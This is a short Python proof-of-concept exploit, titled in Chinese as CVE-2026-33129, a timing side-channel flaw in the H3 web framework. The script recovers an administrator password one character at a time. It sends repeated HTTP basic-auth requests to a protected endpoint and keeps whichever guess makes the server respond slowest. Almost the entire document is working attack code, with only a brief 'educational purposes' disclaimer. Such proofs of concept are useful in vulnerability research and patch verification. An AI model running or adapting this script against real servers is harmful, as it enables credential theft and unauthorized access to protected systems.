CVE-2026-33129 H3框架时序侧信道漏洞

import requests import time import string # Target configuration target_url = "http://localhost:3000/protected" username = "admin" charset = string.ascii_letters + string.digits + "_" # Measure response time for a given password def check_password(password): start = time.perf_counter() try: requests.get(target_url, auth=(username, password), timeout=5) except: pass end = time.perf_counter() return end - start # Simple timing attack simulation # Disclaimer: For educational purposes only. Network jitter affects accuracy. passwd_guess = "" print("[+] Starting timing side-channel attack...") # Assuming we know the max length is 10 for this demo for pos in range(0, 10): max_time = 0 best_char = "" for char in charset: # Test current guess + new char test_pass = passwd_guess + char durations = [] # Send multiple requests to average out noise for _ in range(5): dur = check_password(test_pass) durations.append(dur) avg_time = sum(durations) / len(durations) # If this character took longer, it might be correct if avg_time > max_time: max_time = avg_time best_char = char # Check if the best character significantly increased time if max_time > 0.0001: # Threshold depends on network latency passwd_guess += best_char print(f"[+] Position {pos}: Best char is '{best_char}' (Time: {max_time:.6f}s)") else: break print(f"[+] Estimated Password: {passwd_guess}")